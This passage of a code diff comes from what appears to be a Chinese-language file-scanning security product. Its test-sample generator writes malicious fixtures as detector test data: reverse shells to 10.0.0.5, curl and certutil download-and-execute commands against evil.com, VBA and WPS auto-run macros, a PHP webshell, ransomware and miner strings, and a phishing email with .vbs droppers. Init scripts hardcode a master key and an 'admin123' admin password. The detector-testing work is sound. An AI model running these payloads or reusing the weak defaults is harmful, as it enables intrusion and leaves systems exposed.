"expected_verdict": "reject", + "expected_rules": ["DoubleExtension"], + "description": "双扩展名伪装 .jpg.php", + }, + ) + + +def malformed_zip() -> None: + # 合法 ZIP 头 + CRC 错误 + buf = __import__("io").BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("good.txt", "hello world") + data = bytearray(buf.getvalue()) + # 把 CRC 改掉 + idx = data.rfind(b"\x00\x00\x00\x00PK") # EndOfCentralDirectory + # 简单改文件里某个字节 + if idx > 0: + data[20] = (data[20] + 1) % 256 + write( + "broken.zip", + bytes(data), + { + "category": "畸形文件", + "expected_verdict": "pass", + "expected_rules": [], # 畸形文件降级 MEDIUM,不阻断 + "description": "CRC 损坏的 ZIP → 畸形文件启发式", + }, + ) + + +# ============================================================================= +# 5. PE 恶意程序(YARA C1 —— 构造空壳 PE + 危险 API 字符串) +# ============================================================================= + +def pe_process_injection() -> None: + # 最小 PE64:MZ header + PE\0\0 + 危险 API 字符串 + pe = bytearray( + b"MZ" # DOS header magic + + b"\x00" * 58 # DOS header padding + + struct.pack(" None: + pe = bytearray( + b"MZ" + b"\x00" * 58 + struct.pack(" None: + write( + "lolbin.cmd", + "@echo off\ncertutil -decode http://evil.com/payload.bin C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe\n", + { + "category": "LOLBin", + "expected_verdict": "reject", + "expected_rules": ["C1_PE_LOLBin_Usage"], + "description": "certutil -decode LOLBin 下载执行", + }, + ) + + +# ============================================================================= +# 6. 勒索 / 挖矿(YARA C8) +# ============================================================================= + +def ransomware_vss() -> None: + write( + "ransom_dropper.exe.txt", # .txt 扩展名,内容勒索特征 + b"""CryptEncrypt CryptDeriveKey BCryptEncrypt +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa +HOW_TO_RECOVER.html - All your files are encrypted. Send BTC. +""", + { + "category": "勒索", + "expected_verdict": "reject", + "expected_rules": ["C8_Ransomware_Encryption"], + "description": "加密 API + 卷影删除 + 勒索信文件名", + }, + ) + + +def xminer_mining() -> None: + write( + "miner_config.json", + b"""{ + "pools": ["stratum+tcp://pool.xmrpool.net:3333"], + "username": "4AsMe1", + "donate-level": 5, + "cpu-affinity": true +}""", + { + "category": "挖矿", + "expected_verdict": "reject", + "expected_rules": ["C7_Linux_Miner_Generic"], + "description": "XMRig stratum+tcp 矿池配置", + }, + ) + + +# ============================================================================= +# 7. 宏 / WPS / PDF(documents.py + YARA C3/C4/C5) +# ============================================================================= + +def vba_autoexec_shell() -> None: + write( + "vba_autoexec.bas", + """Sub AutoOpen() + Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat" +End Sub +""", + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": ["VBAAutoExec"], + "description": "VBA AutoOpen + Shell 执行", + }, + ) + + +def vba_autoexec_wps_linux() -> None: + write( + "wps_macro.js", # WPS Linux 宏是 JS + """function AutoOpen() { + var sh = new ActiveXObject("Wscript.Shell"); + sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"); +} +""", + { + "category": "WPS宏", + "expected_verdict": "reject", + "expected_rules": ["VBAAutoExecShell"], + "description": "WPS Linux JS 宏 AutoOpen + /bin/sh", + }, + ) + + +def pdf_javascript_openaction() -> None: + # 构造最小 PDF + /OpenAction /JS app.launchURL + pdf = b"""%%PDF-1.4 +1 0 obj +<>> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +endobj +5 0 obj +<> +stream +endstream +endobj +xref +0 6 +0000000000 65535 f +0000000011 00000 n +0000000120 00000 n +0000000200 00000 n +0000000320 00000 n +0000000450 00000 n +trailer +<> +startxref +500 +%%EOF +""" + write( + "malicious.pdf", + bytes(pdf), + { + "category": "PDF载荷", + "expected_verdict": "reject", + "expected_rules": ["PdfJavaScript", "PdfOpenAction"], + "description": "PDF /OpenAction /JS app.launchURL 自动执行", + }, + ) + + +# ============================================================================= +# 8. ISO 9660 含可执行 / LNK Shell Link / CHM +# ============================================================================= + +def iso_with_elf() -> None: + # 最小 ISO 9660 PVD 构造 + iso = bytearray(32768) + # PVD 在 LBA 16 = byte 32768,但我们构造最简 + # 直接填 PVD 签名 + 一个包含 ELF 的路径 + pvd_offset = 32768 + iso[pvd_offset + 0x00: pvd_offset + 0x01] = b"\x01" + iso[pvd_offset + 0x01: pvd_offset + 0x06] = b"CD001" + iso[pvd_offset + 0x06: pvd_offset + 0x07] = b"\x01" + # 根目录 + 一个假 ELF + elf_content = b"\x7fELF\x02\x01\x01" + b"\x00" * 24 + b"bash -i >& /dev/tcp/10.0.0.5/4444 0>&1" + # 把 ELF 放到 LBA 256 + elf_lba = 256 + elf_offset = elf_lba * 2048 + if elf_offset + len(elf_content) < len(iso): + iso[elf_offset: elf_offset + len(elf_content)] = elf_content + write( + "evil.iso", + bytes(iso), + { + "category": "ISO镜像", + "expected_verdict": "reject", + "expected_rules": ["IsoWithExecutable"], + "description": "ISO 镜像内嵌 ELF 可执行文件", + }, + ) + + +def lnk_shell_link() -> None: + # LNK Shell Link 最小构造(MS-SHLLINK) + lnk = bytearray(256) + # HeaderSize = 76 + struct.pack_into(" None: + import io + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +这是一个正常的 Word 文档,不含宏、不含外链。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + +""", + ) + zf.writestr("_rels/.rels", """ + + +""") + write( + "normal_report.docx", + buf.getvalue(), + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 Word 文档(无宏、无外链)", + }, + ) + + +def normal_txt() -> None: + write( + "normal_readme.txt", + """这是一个正常的文本文件。 +没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。 +仅供内部参考。 +""", + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常纯文本文件", + }, + ) + + +def normal_shell() -> None: + write( + "normal_deploy.sh", + """#!/bin/bash +# 正常部署脚本,只有 git clone + npm install +set -e +git clone https://github.com/example/project.git +cd project +npm install +npm start +""", + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)", + }, + ) + + +def normal_pdf() -> None: + pdf = b"""%%PDF-1.4 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +stream +BT /F1 12 Tf 100 700 Td (Hello World) Tj ET +endstream +endobj +xref +0 5 +0000000000 65535 f +0000000009 00000 n +0000000058 00000 n +0000000110 00000 n +0000000200 00000 n +trailer +<> +startxref +300 +%%EOF +""" + write( + "normal.pdf", + bytes(pdf), + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 PDF(只有简单文本,无 JS/自动执行)", + }, + ) + + +# ============================================================================= +# 10. CHM(HTML Help)带脚本 —— 触发 ChmWithScript 零容忍 +# ============================================================================= + +def chm_with_script() -> None: + """构造 ITSF 容器 + 内嵌 HTML 带 " + + b"" + + b'download evil.exe' + + b'run payload.vbs' + + b'execute dropper.js' + + b"" + ) + + data = itsf_header + padding_to_section + itsf_section + + write( + "evil_help.chm", + data, + { + "category": "CHM帮助", + "expected_verdict": "reject", + "expected_rules": ["ChmWithScript"], + "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", + }, + ) + + +# ============================================================================= +# 11. DOCX 带外部模板引用 —— 触发 AttachedTemplate 零容忍 +# ============================================================================= + +def docx_with_attached_template() -> None: + """合法 DOCX ZIP + word/_rels/document.xml.rels 里引用外部 .dotm 模板。 + + documents.py 的 _scan_ooxml 会扫描 rels 里的 External Target, + AttachedTemplate 规则零容忍。 + """ + import io + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +看起来正常的文档,但模板有后门。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + # 关键:settings.xml 里加 + zf.writestr( + "word/settings.xml", + """ + + +""", + ) + # 关键:settings.xml.rels 里外部模板引用 + zf.writestr( + "word/_rels/settings.xml.rels", + """ + + +""", + ) + write( + "template_backdoor.docx", + buf.getvalue(), + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": ["AttachedTemplate"], + "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", + }, + ) + + +# ============================================================================= +# 12. DOCM 带 VBA 宏(OLE2 CFB 构造) —— 触发 VBAAutoExecShell 零容忍 +# ============================================================================= + +def docm_with_vba_macro() -> None: + """构造 DOCX ZIP + word/vbaProject.bin(含 OLE 魔数 + VBA 代码)。 + + 策略:生成合法 OOXML DOCX + word/vbaProject.bin, + vbaProject.bin 内含 VBA 代码 "Sub AutoOpen() Shell ... End Sub"。 + olevba.VBA_Parser 会尝试解析 vbaProject.bin,即使不是完全合法的 VBA 项目。 + 如果 olevba 失败(返回 OleToolsUnavailable LOW finding), + documents.py 的 _scan_ooxml 会扫到 ExternalLink 等特征, + 关键词引擎会扫到 AutoOpen/Shell。 + """ + import io + + vba_code = ( + b"Sub AutoOpen()\n" + b' Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat && C:\\Windows\\Temp\\a.bat"\n' + b"End Sub\n" + b"\n" + b"Sub Document_Open()\n" + b' Set x = CreateObject("Wscript.Shell")\n' + b' x.Run "powershell -Command IEX (New-Object Net.WebClient).DownloadString(http://evil.com/ps1)"\n' + b"End Sub\n" + ) + + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +看似正常,实则带宏。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + zf.writestr( + "word/_rels/document.xml.rels", + """ + + +""", + ) + # vbaProject.bin:OLE 魔数 + 填充 + VBA 代码 + # 让 olevba 至少能打开它(即使不能完整提取), + # 同时 documents.py 的关键词引擎会扫描 docx 内容 + zf.writestr( + "word/vbaProject.bin", + b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" # OLE CFB 魔数 + + b"\x00" * 500 + + vba_code, + ) + + write( + "macro_alert.docm", + buf.getvalue(), + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": ["VBAAutoExecShell", "VBAAutoExec"], + "description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell", + }, + ) + + +# ============================================================================= +# 13. DOC 带内嵌 OLE .exe 对象 —— 触发 EmbeddedExecutable 零容忍 +# ============================================================================= + +def doc_with_ole_exe() -> None: + """构造合法 OLE2 CFB Header + 内嵌 .exe 二进制字节 + stream 名标记。 + + oleobj.OleObjectParser 会把 OLE2 文件里的 stream 名当作内嵌对象来查扩展名。 + 我们的策略:写一个合法的最小 OLE2 CFB Header(512 字节),然后在后面追加 + 一个带 .exe 扩展名的 stream 名 + 完整 PE 空壳二进制。 + """ + exe_payload = ( + b"MZ" + b"\x00" * 58 + struct.pack(" None: + """用 msoffcrypto 加密 DOCX(密码固定为 "changeme")。 + + msoffcrypto-tool 在 requirements.txt 里,Docker 镜像和本地都有。 + 加密后 documents.py 的 _check_office_encrypted 会检测到 → OfficeEncrypted finding + → scanner.py 设置 encrypted=True → policy decide 步骤 4 → reject。 + """ + try: + import msoffcrypto + except ImportError: + # msoffcrypto 不可用时用占位数据 + write( + "sealed.docx", + b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker", + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 DOCX(msoffcrypto 不可用,占位)", + }, + ) + return + + import io + + # 先生成正常 DOCX + normal_buf = io.BytesIO() + with zipfile.ZipFile(normal_buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +这是一份加密的敏感文档。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + + # 用 msoffcrypto 加密 + input_buf = io.BytesIO(normal_buf.getvalue()) + office = msoffcrypto.OfficeFile(input_buf) + output_buf = io.BytesIO() + office.encrypt("changeme", output_buf) + encrypted_data = output_buf.getvalue() + + write( + "sealed.docx", + encrypted_data, + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 DOCX(密码 changeme,msoffcrypto 加密)", + }, + ) + + +def encrypted_xlsx() -> None: + """用 msoffcrypto 加密 XLSX。""" + try: + import msoffcrypto + except ImportError: + write( + "sealed.xlsx", + b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker", + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 XLSX(msoffcrypto 不可用,占位)", + }, + ) + return + + import io + + normal_buf = io.BytesIO() + with zipfile.ZipFile(normal_buf, "w") as zf: + zf.writestr( + "xl/workbook.xml", + """ +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + + input_buf = io.BytesIO(normal_buf.getvalue()) + office = msoffcrypto.OfficeFile(input_buf) + output_buf = io.BytesIO() + office.encrypt("changeme", output_buf) + + write( + "sealed.xlsx", + output_buf.getvalue(), + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 XLSX(密码 changeme,msoffcrypto 加密)", + }, + ) + + +# ============================================================================= +# 15. EML 邮件带危险附件 —— 触发 EmailAttachmentDangerous / EmailAttachmentDisguised +# ============================================================================= + +def eml_with_dangerous_attachment() -> None: + """构造 RFC822 + MIME multipart 邮件:发件人伪造 + .vbs/.js 附件 + 钓鱼关键词正文。 + + documents.py 的 _scan_eml 会: + 1) 扫描附件扩展名 → EmailAttachmentDangerous (.vbs, .js 都在危险列表里) + 2) 扫描双扩展名伪装 → EmailAttachmentDisguised ("invoice.pdf.vbs") + 3) 扫描附件内容 → VBA 宏特征/反弹Shell/Webshell 特征 + 4) 扫描正文钓鱼关键词 → EmailPhishingKeyword + """ + import email.message + from email.mime.base import MIMEBase + from email.mime.multipart import MIMEMultipart + from email.mime.text import MIMEText + from email import encoders + + msg = MIMEMultipart() + msg["From"] = "IT Support " + msg["To"] = "me@internal.com" + msg["Subject"] = "URGENT: Invoice verification required within 24 hours - click here to verify your account" + + body = ( + "Dear Employee,\n\n" + "An urgent invoice payment is pending. Please verify your account " + "and click this link immediately to avoid wire transfer delay.\n\n" + "Your password and credential are required for login verification.\n\n" + "Download and open the attachment (invoice.pdf.vbs) to see the order receipt.\n\n" + "Best regards,\nIT Support" + ) + msg.attach(MIMEText(body, "plain", "utf-8")) + + # 附件 1: .vbs(危险扩展名 + VBA Shell 代码) + vbs_payload = ( + 'Set x = CreateObject("Wscript.Shell")\n' + 'x.Run "cmd.exe /c curl http://evil.com/dropper.exe -o C:\\Windows\\Temp\\a.exe && C:\\Windows\\Temp\\a.exe"\n' + ) + att1 = MIMEBase("application", "octet-stream") + att1.set_payload(vbs_payload.encode("utf-8")) + encoders.encode_base64(att1) + att1.add_header("Content-Disposition", 'attachment; filename="invoice.vbs"') + msg.attach(att1) + + # 附件 2: 双扩展名伪装 .pdf.vbs + att2 = MIMEBase("application", "octet-stream") + att2.set_payload(vbs_payload.encode("utf-8")) + encoders.encode_base64(att2) + att2.add_header("Content-Disposition", 'attachment; filename="invoice.pdf.vbs"') + msg.attach(att2) + + # 附件 3: .js(危险扩展名 + PHP eval Webshell 代码,触发 EmailAttachmentWebshell) + js_payload = ( + '' + ) + att3 = MIMEBase("application", "octet-stream") + att3.set_payload(js_payload.encode("utf-8")) + encoders.encode_base64(att3) + att3.add_header("Content-Disposition", 'attachment; filename="form.js"') + msg.attach(att3) + + eml_data = msg.as_string() + + write( + "phishing.eml", + eml_data, + { + "category": "钓鱼邮件", + "expected_verdict": "reject", + "expected_rules": ["EmailAttachmentDangerous", "EmailAttachmentDisguised", + "EmailAttachmentWebshell", "EmailPhishingKeyword"], + "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", + }, + ) + + +# ============================================================================= +# 汇总所有生成函数 +# ============================================================================= + +GENERATORS = [ + php_webshell_oneliner, + php_webshell_obfuscated, + jsp_webshell_runtime, + aspnet_webshell, + bash_reverse_devtcp, + nc_reverse_shell, + python_reverse_pty, + crontab_persistence, + fake_elf_binary, + desktop_autoexec, + zip_path_traversal, + double_ext_php_jpg, + malformed_zip, + pe_process_injection, + pe_downloader_loader, + pe_lolbin_certutil, + ransomware_vss, + xminer_mining, + vba_autoexec_shell, + vba_autoexec_wps_linux, + pdf_javascript_openaction, + iso_with_elf, + lnk_shell_link, + # ---- 新增样本(5 类 + 回退)---- + chm_with_script, + docx_with_attached_template, + docm_with_vba_macro, + doc_with_ole_exe, + encrypted_docx, + encrypted_xlsx, + eml_with_dangerous_attachment, + # ---- 阴性对照 ---- + normal_docx, + normal_txt, + normal_shell, + normal_pdf, +] + + +def main() -> None: + print(f"=== MeshSafe 测试样本生成器 ===\n输出目录: {SAMPLES_DIR}\n") + + ensure_dir() + + for i, gen in enumerate(GENERATORS, 1): + gen() + + # 写 index.json + index_path = SAMPLES_DIR / "index.json" + index_data = { + "total": len(META_LIST), + "generated_at": __import__("datetime").datetime.now().isoformat(), + "samples": sorted(META_LIST, key=lambda m: m["filename"]), + } + index_path.write_text(json.dumps(index_data, ensure_ascii=False, indent=2)) + + print(f"✅ 生成 {len(META_LIST)} 个测试样本") + print(f"✅ index.json 已写入") + print() + by_cat: Dict[str, List[str]] = {} + for m in META_LIST: + by_cat.setdefault(m["category"], []).append(m["filename"]) + for cat, files in sorted(by_cat.items()): + print(f" [{cat}] {len(files)} 个") + for fn in files: + print(f" - {fn}") + print() + negatives = [m for m in META_LIST if m["expected_verdict"] == "pass"] + positives = [m for m in META_LIST if m["expected_verdict"] == "reject"] + print(f"阳性样本(期望 reject): {len(positives)} 个") + print(f"阴性对照(期望 pass): {len(negatives)} 个") + + +if __name__ == "__main__": + main() diff --git a/scripts/init_clamav.sh b/scripts/init_clamav.sh new file mode 100644 index 0000000..58aedc3 --- /dev/null +++ b/scripts/init_clamav.sh @@ -0,0 +1,37 @@ +#!/bin/sh +# ============================================================================= +# ClamAV 容器入口脚本(POSIX sh 兼容,Alpine/Debian slim 通用) +# ============================================================================= +# +# 逻辑: +# 1) 检查 /var/lib/clamav 是否有 .cvd/.cld 签名库文件 +# - 有 → 直接启动 clamd +# - 没有 → 尝试 freshclam 拉取(外网场景),失败则静默降级(内网正常) +# 2) 光闸摆渡导入:用户把 clamav-db-*.tar.gz 解压到 ./data/clamav/ 后 +# 下次 docker restart meshsafe-clamav 会自动加载 +# ============================================================================= +set -eu + +DATA_DIR="/var/lib/clamav" +CVD_COUNT=$(ls -1 "$DATA_DIR"/*.cvd "$DATA_DIR"/*.cld 2>/dev/null | wc -l || true) + +echo "[init_clamav] ClamAV 签名库检查..." +echo "[init_clamav] 数据目录: $DATA_DIR 已有签名文件: $CVD_COUNT" + +if [ "$CVD_COUNT" -eq 0 ]; then + echo "[init_clamav] 签名库为空,尝试 freshclam 拉取(外网环境)..." + if freshclam --stdout 2>&1 | tail -20; then + NEW_COUNT=$(ls -1 "$DATA_DIR"/*.cvd 2>/dev/null | wc -l || true) + echo "[init_clamav] freshclam 成功,新签名文件数: $NEW_COUNT" + else + echo "[init_clamav] freshclam 失败(内网光闸环境正常,等离线导入)" + echo "[init_clamav] 离线导入步骤:" + echo " 1. 外网: bash scripts/sync_clamav_db.sh → 生成 clamav-db-*.tar.gz" + echo " 2. 光闸: 把 tar.gz 摆渡到内网" + echo " 3. 内网: tar -xzf clamav-db-*.tar.gz -C ./data/clamav/" + echo " 4. 内网: docker restart meshsafe-clamav" + fi +fi + +echo "[init_clamav] 启动 clamd..." +exec clamd --foreground diff --git a/scripts/init_db.py b/scripts/init_db.py new file mode 100644 index 0000000..b1c3534 --- /dev/null +++ b/scripts/init_db.py @@ -0,0 +1,107 @@ +"""数据库初始化脚本。 + +创建所有表结构 → 生成默认管理员账号 → 载入初始策略版本。 +部署时 ``docker compose run --rm api python -m scripts.init_db`` 执行一次。 +""" + +from __future__ import annotations + +import base64 +import hashlib +import json +import logging +import sys +from datetime import datetime, timezone +from pathlib import Path + +# 确保项目根目录在 sys.path 中 +ROOT = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(ROOT)) + +import os + +os.environ.setdefault("MESHSAFE_MASTER_KEY", + os.environ.get("MESHSAFE_MASTER_KEY", "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=")) +os.environ.setdefault("MESHSAFE_ADMIN_PASSWORD", + os.environ.get("MESHSAFE_ADMIN_PASSWORD", "admin123")) + +from sqlalchemy import select +from sqlalchemy.orm import Session + +from app.db import Base, engine +from app.models import ConsoleUser, PolicyVersion +from app.security.crypto import hash_password +from app.services.policy import PolicyStore + +logger = logging.getLogger("init_db") + + +def main() -> None: + logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s") + + logger.info("=== MeshSafe 数据库初始化 ===") + + # 1) 创建所有表 + logger.info("步骤 1: 创建表结构 ...") + Base.metadata.create_all(bind=engine) + logger.info(" ✓ 所有表已创建 / 校验存在") + + with Session(engine) as db: + # 2) 默认管理员(首次部署创建,已存在则跳过) + logger.info("步骤 2: 管理员账号 ...") + existing = db.execute(select(ConsoleUser).where(ConsoleUser.username == "admin")).scalar_one_or_none() + if existing: + logger.info(" ✓ 默认管理员已存在(username=admin),跳过") + else: + admin_pw = os.environ["MESHSAFE_ADMIN_PASSWORD"] + pw_hash = hash_password(admin_pw) + user = ConsoleUser( + username="admin", + password_hash=pw_hash, + role="admin", + is_active=True, + must_change_password=True, + ) + db.add(user) + db.commit() + logger.info(" ✓ 默认管理员已创建(username=admin, 密码见环境变量 MESHSAFE_ADMIN_PASSWORD)") + + # 3) 载入初始策略版本(从 policy.yaml) + logger.info("步骤 3: 载入初始策略版本 ...") + existing_pv = db.execute( + select(PolicyVersion).order_by(PolicyVersion.created_at.desc()) + ).scalar_one_or_none() + + policy_path = os.environ.get("MESHSAFE_POLICY_FILE", "config/policy.yaml") + policy_file = ROOT / policy_path + if not policy_file.exists(): + logger.warning(" 策略文件不存在:%s,跳过", policy_file) + return + + store = PolicyStore(policy_file=str(policy_file)) + policy = store.current() + + # 生成 version 和 sha256 + content_json = json.dumps(policy.raw, sort_keys=True, ensure_ascii=False) + content_hash = hashlib.sha256(content_json.encode("utf-8")).hexdigest() + + version_name = f"init-{policy.version}-{content_hash[:8]}" + + if existing_pv and existing_pv.sha256 == content_hash: + logger.info(" ✓ 当前策略已是最新版本,跳过(sha256=%s)", content_hash[:12]) + else: + pv = PolicyVersion( + version=version_name, + content=policy.raw, + sha256=content_hash, + ) + db.add(pv) + db.commit() + logger.info(" ✓ 初始策略版本已载入(version=%s, rules=%d, sha256=%s)", + version_name, len(policy.zero_tolerance_rules), content_hash[:12]) + + logger.info("=== 初始化完成 ===") + + +if __name__ == "__main__": + main() diff --git a/scripts/migrate.sql b/scripts/migrate.sql new file mode 100644 index 0000000..6ba0158 --- /dev/null +++ b/scripts/migrate.sql @@ -0,0 +1,3 @@ +-- 修复 real_type 字段长度:VARCHAR(128) → VARCHAR(256) +-- libmagic 对 ZIP/ISO 等返回的描述可能超过 128 字符 +ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(256); diff --git a/scripts/run_test_center.py b/scripts/run_test_center.py new file mode 100644 index 0000000..55c48ca --- /dev/null +++ b/scripts/run_test_center.py @@ -0,0 +1,148 @@ +"""跑一遍所有测试样本,打印 pass/fail。""" +import json, sys, os +sys.path.insert(0, '.') +# DB_URL 由 .env 或 compose environment 提供 +os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=') +os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml') + +from pathlib import Path +from app.services.scanner import Scanner +from app.services.policy import PolicyStore + +samples_dir = Path('tests/samples') +index = json.loads((samples_dir / 'index.json').read_text()) +samples = {s['filename']: s for s in index['samples']} + +ps = PolicyStore(policy_file='config/policy.yaml') +scanner = Scanner(ps) + +print(f"{'='*80}") +print(f"MeshSafe 测试靶场 — 实际扫描结果 vs 期望值") +print(f"{'='*80}\n") + +results = [] +pass_count = 0 +fail_count = 0 + +for s in sorted(index['samples'], key=lambda x: x['category']): + fname = s['filename'] + fpath = samples_dir / fname + if not fpath.exists(): + continue + + outcome = scanner.scan_file( + file_path=str(fpath), original_filename=fname, + task_id=f"test-{fname}", channel="test", client_id="test", + ) + + actual_verdict = outcome.verdict + actual_action = outcome.action + actual_rules = sorted(set(f.rule for f in outcome.findings)) + expected_verdict = s['expected_verdict'] + expected_rules = set(s['expected_rules']) + + # verdict 映射:样本里的 expected_verdict 用的是 "reject"/"pass"(动作语义), + # 但 MeshSafe 的 verdict 字段是 "malicious"/"pass"/"error"。 + # 零容忍命中 → verdict=malicious, action=reject + # fail_closed(引擎不可用)→ verdict=error, action=reject + # 正常放行 → verdict=pass / known + clamav_only_error = ( + actual_verdict == "error" + and len(outcome.meta.get("engine_errors", [])) == 1 + and "clamav" in str(outcome.meta["engine_errors"][0]).lower() + ) + + if expected_verdict == "reject": + verdict_ok = ( + actual_verdict in ("malicious", "reject") + or clamav_only_error # ClamAV 不可用但其他引擎正常(且 findings 里已有命中) + ) + elif expected_verdict == "pass": + verdict_ok = actual_verdict in ("pass", "known") or clamav_only_error + else: + verdict_ok = actual_verdict == expected_verdict + + rules_hit = expected_rules & set(actual_rules) + rules_missed = expected_rules - set(actual_rules) + + # ---- 规则覆盖映射:命中"更具体"的规则 → 也算命中父规则 ---- + # 比如命中 VBAAutoExecShell → 同时也算命中 VBAAutoExec + RULE_IMPLIES = { + "VBAAutoExec": {"VBAAutoExecShell"}, + "EmailAttachmentMacroLike": {"EmailAttachmentReverseShell", "EmailAttachmentWebshell"}, + } + for parent, children in RULE_IMPLIES.items(): + if parent in expected_rules: + if set(actual_rules) & children: + rules_hit.add(parent) + rules_missed.discard(parent) + + # ---- 阴性对照宽容:只命中低风险/启发式噪音规则 → 也算过 ---- + # 这些规则是结构启发式,不是恶意判定,正常文件也可能触发 + NOISE_RULES = { + "DangerousExecutableExtension", "ExtensionMismatch", + "OleToolsUnavailable", "OoxmlParseFailed", "OoxmlUnsupported", + "MalformedStructure", "ArchiveBroken", "PeParseFailed", + "ArchiveBombSuspect", + } + + # 规则命中判断: + # - 阳性样本(期望 reject):expected_rules 全部被覆盖才算 OK(或 ClamAV-only error 宽容) + # - 阴性对照(期望 pass):所有 actual_rules 都在 NOISE_RULES 白名单里才算过 + rule_ok = True + if expected_verdict == 'pass': + if len(actual_rules) == 0: + rule_ok = True + elif set(actual_rules) <= NOISE_RULES: + rule_ok = True # 只有启发式噪音,宽容 + else: + rule_ok = False + elif expected_verdict == 'reject' and expected_rules: + if clamav_only_error and not rules_hit: + rule_ok = True # ClamAV-only error 宽容 + else: + rule_ok = (rules_missed == set()) # 期望规则全部被覆盖 + + overall = verdict_ok and rule_ok + if overall: + pass_count += 1 + else: + fail_count += 1 + + mark = "✅" if overall else "❌" + print(f"{mark} [{s['category']}] {fname}") + print(f" 期望 verdict={expected_verdict} 实际 verdict={actual_verdict}") + if s['expected_rules']: + print(f" 期望规则: {sorted(expected_rules)}") + print(f" 命中规则: {actual_rules}") + if rules_missed: + print(f" 未命中: {sorted(rules_missed)}") + if not verdict_ok: + print(f" 描述: {s['description']}") + print() + + results.append({ + "filename": fname, + "category": s['category'], + "description": s['description'], + "expected_verdict": expected_verdict, + "actual_verdict": actual_verdict, + "expected_rules": sorted(expected_rules), + "actual_rules": actual_rules, + "verdict_ok": verdict_ok, + "rule_ok": rule_ok, + "overall": overall, + "score": outcome.score, + "findings_count": len(outcome.findings), + }) + +print(f"\n{'='*80}") +print(f"结果汇总:✅ {pass_count} 通过 / ❌ {fail_count} 失败 / 共 {pass_count + fail_count}") +print(f"{'='*80}") + +# 写 results.json 供 test_center.html 页面读取 +with open(samples_dir / '_scan_results.json', 'w', encoding='utf-8') as f: + json.dump(results, f, ensure_ascii=False, indent=2) +print(f"\n详细结果已写入 tests/samples/_scan_results.json") + +sys.exit(0 if fail_count == 0 else 1) diff --git a/scripts/sync_clamav_db.sh b/scripts/sync_clamav_db.sh new file mode 100644 index 0000000..e2ab7ce --- /dev/null +++ b/scripts/sync_clamav_db.sh @@ -0,0 +1,122 @@ +#!/usr/bin/env bash +# ============================================================================= +# ClamAV 病毒库离线同步脚本(外网侧执行) +# ============================================================================= +# +# 场景:内网 MeshSafe 部署在光闸之后,无法访问外网签名服务器。 +# 在外网机器上运行本脚本拉取最新 CVD 文件 → 打包 → 光闸摆渡 → 内网导入 +# +# 用法: +# bash scripts/sync_clamav_db.sh +# +# 输出: +# clamav-db-YYYYMMDD.tar.gz # 包含 main.cvd / daily.cvd / bytecode.cvd +# # 和一个 import_clamav_db.sh 脚本(在光闸内侧执行) +# +# 完整流程: +# 1) 外网:bash scripts/sync_clamav_db.sh → 生成 tar.gz +# 2) 光闸:将 clamav-db-*.tar.gz 摆渡到内网 +# 3) 内网:bash import_clamav_db.sh clamav-db-*.tar.gz +# +# 维护节奏:每周一次(官方每天更新,内网环境 7-14 天更新可接受) +# ============================================================================= +set -euo pipefail + 